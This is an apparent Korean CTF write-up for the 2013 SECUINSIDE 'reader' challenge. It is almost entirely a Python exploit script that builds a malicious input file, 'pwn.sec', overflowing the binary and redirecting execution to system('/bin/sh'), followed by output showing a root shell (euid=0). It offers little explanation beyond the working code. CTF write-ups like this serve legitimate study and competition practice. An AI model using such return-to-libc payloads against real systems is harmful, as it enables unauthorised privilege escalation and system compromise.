[exploit] 2013 SECUINSIDE reader writeups

아래는 바이너리 파일이고 간단하게 익스플로잇 코드만 올리겠습니다.;D

reader

#!/usr/bin/env python import struct p = lambda x: struct.pack( "<I", x ) reader_fd = 0x7 system = 0x40078f10 binsh = 0x401774f4 payload = "\xffSECUINSIDE\x00" payload += p( reader_fd ) # address is 0x08a83008 payload += "\xee" * 46 payload += ("\xdd" * 0x32 ) payload += p( 0xffffffff ) payload += p( 0x32 ) # 1st malloc payload += p( 0x64 ) # 2nd malloc payload += p( 0x320 ) # 3rd malloc payload += p( 0x1 ) # argument of usleep() payload += "\xaa" * 87 # dummy ###### ret ######### ### at 0x8049056 ### payload += p( system ) payload += p( 0xdeadbeef ) payload += p( binsh ) fd = open( "pwn.sec", "wb" ) fd.write( payload ) fd.close() ''' $ ./reader pwn.sec ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ # ▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒@ﾭ▒▒t@ ▒ ▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ - THE END - document identifier code: -1431655766-1431655766-1431655766-1431655766-143165576 # id uid=1000(reader) gid=1001(reader) euid=0(root) groups=0(root),1001(reader) '''